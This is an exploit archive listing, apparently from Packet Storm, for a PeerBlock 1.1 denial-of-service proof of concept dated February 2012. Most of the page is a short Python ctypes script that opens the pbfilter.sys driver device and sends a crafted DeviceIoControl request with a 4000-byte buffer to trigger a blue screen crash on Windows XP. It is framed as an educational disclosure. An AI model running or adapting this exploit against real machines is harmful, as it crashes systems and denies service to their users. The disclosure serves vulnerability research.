what you don't know can hurt you

PeerBlock 1.1 Denial Of Service

PeerBlock 1.1 Denial Of Service
Posted Feb 10, 2012
Authored by shinnai

PeerBlock version 1.1 blue screen of death denial of service exploit.

tags | exploit, denial of service
MD5 | 19a9d1731d104571f3bab23500b62440

PeerBlock 1.1 Denial Of Service

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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=======================================================================================================
=======================================================================================================
PeerBlock 1.1 BSOD
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on:
Microsoft Windows XP Professional
5.1.2600 Service Pack 3 Build 2600
X86-based PC
Info:
PoC released as is, I have no time at the moment for further investigations
- -----------------------------------------------------------------------
FILE INFO: (http://www.peerblock.com/)
- -----------------------------------------------------------------------
File: C:\Program Files\PeerBlock\pbfilter.sys
MD5 hash: 2f6e885c432927a186c2e352c8a1cbf4
==============================================================================================================================
==============================================================================================================================
Proof of concept:
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
SYM_NAME = "\\\\.\\pbfilter"
dwReturn = c_ulong()
out_buff = "A" * 4000
in_buff = ("")
handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
dev_ioct = kernel32.DeviceIoControl(handle, 0xabab, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)
==============================================================================================================================
==============================================================================================================================
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